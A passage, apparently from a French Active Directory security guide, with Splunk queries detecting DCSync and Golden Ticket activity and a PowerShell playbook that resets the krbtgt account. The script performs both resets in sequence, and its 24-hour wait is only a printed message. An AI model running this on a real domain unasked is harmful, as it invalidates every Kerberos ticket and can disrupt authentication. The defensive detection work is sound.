    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled